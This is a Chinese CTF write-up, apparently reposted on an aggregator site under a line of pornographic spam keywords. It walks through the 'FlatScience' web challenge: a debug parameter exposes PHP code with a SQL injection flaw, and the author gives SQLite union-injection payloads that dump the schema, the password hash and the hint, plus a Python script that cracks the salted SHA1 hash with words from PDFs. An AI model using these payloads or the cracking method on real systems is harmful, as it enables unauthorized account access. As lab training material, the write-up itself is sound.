日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

攻防世界-web-FlatScience-从0到1的解题历程writeup

發(fā)布時間:2024/9/30 编程问答 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 攻防世界-web-FlatScience-从0到1的解题历程writeup 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

題目分析

首先拿到題目一臉懵逼,就是套娃界面,一層一層的pdf論文存放的目錄。

所以先掃一下目錄

發(fā)現(xiàn)存在admin.php和login.php,且掃描結(jié)果顯示login.php有sql注入漏洞

嘗試了一下發(fā)現(xiàn)登陸成功后就跳轉(zhuǎn)到首頁了

并且設(shè)置了一個cookie內(nèi)容為+admin

我明明使用test登陸的結(jié)果卻顯示的admin,應(yīng)該是沒有test用戶,所以默認取得數(shù)據(jù)庫第一條記錄。

然后去看看admin.php

發(fā)現(xiàn)提示為“do not even try to bypass this ”

嘗試弱口令失敗

看了wp才知道有個關(guān)鍵點是

有一個提示是“TODO: Remove ?debug-Parameter!”

所以要構(gòu)建

http://159.138.137.79:55036/login.php?debug

得到關(guān)鍵部分代碼

if(isset($_POST['usr'])?&&?isset($_POST['pw'])){?$user?=?$_POST['usr'];?$pass?=?$_POST['pw'];?$db?=?new?SQLite3('../fancy.db');?$res?=?$db->query("SELECT?id,name?from?Users?where?name='".$user."'?and?password='".sha1($pass."Salz!")."'");?if($res){?$row?=?$res->fetchArray();?}?else{?echo?"<br>Some?Error?occourred!";?}?if(isset($row['id'])){?setcookie('name','?'.$row['name'],?time()?+?60,?'/');?header("Location:?/");?die();?}? }?

解題流程

原來還是得從login.php注入入手。

使用聯(lián)合查詢

在查數(shù)據(jù)庫的時候嘗試構(gòu)建語句查詢失敗

usr=test' union select 1,database() --&pw=a

發(fā)現(xiàn)是SQLite3 ,和常規(guī)的mysql的語句有不同,所以百度補一波SQLite3的注入

發(fā)現(xiàn)SQLite注入一般是使用sqlite_master隱藏表

usr=test' union select name,sql from sqlite_master; --&pw=a

得到

CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))

所以我們得到存在Users表的字段為id,name,password,hint
這邊容易查詢得到admin的password

usr=test' union select 1,(select password from Users limit 0,1) --&pw=a

得到

sha1($pass."Salz!")

結(jié)果為3fab54a50e770d830c0416df817567662a9dc85c
然后查詢一下hint

usr=test' union select 1,(select hint from Users limit 0,1) --&pw=a

結(jié)果為‘my fav word in my fav paper?!’
意思就是密碼在他的其中一篇paper里面嘍??

隨便找了個整站下載軟件,先把所有的pdf給下載下來

總共應(yīng)該是30篇paper

最后拿到大佬的exp,在我python3的環(huán)境中調(diào)著跑了一下

from?io?import?StringIO from?pdfminer.pdfinterp?import?PDFResourceManager,?PDFPageInterpreter from?pdfminer.converter?import?TextConverter from?pdfminer.layout?import?LAParams from?pdfminer.pdfpage?import?PDFPage import?sys import?string import?os import?hashlibdef?get_pdf():#打開pdf文件return?[i?for?i?in?os.listdir("./")?if?i.endswith("pdf")]def?convert_pdf_2_text(path):#獲取pdf文本rsrcmgr?=?PDFResourceManager()retstr?=?StringIO()device?=?TextConverter(rsrcmgr,?retstr,?codec='utf-8',?laparams=LAParams())interpreter?=?PDFPageInterpreter(rsrcmgr,?device)with?open(path,?'rb')?as?fp:for?page?in?PDFPage.get_pages(fp,?set()):interpreter.process_page(page)text?=?retstr.getvalue()device.close()retstr.close()return?textdef?find_password():#讀取密碼pdf_path?=?get_pdf()for?i?in?pdf_path:print("Searching?word?in?"?+?i)pdf_text?=?convert_pdf_2_text(i).split("?")for?word?in?pdf_text:sha1_password?=?hashlib.sha1((word?+?"Salz!").encode()).hexdigest()if?sha1_password?==?'3fab54a50e770d830c0416df817567662a9dc85c':print("Find?the?password?:"?+?word)exit()if?__name__?==?"__main__":find_password()

得到admin的密碼為ThinJerboa

最后在admin.php中登陸即可拿到flag

總結(jié)

以上是生活随笔為你收集整理的攻防世界-web-FlatScience-从0到1的解题历程writeup的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。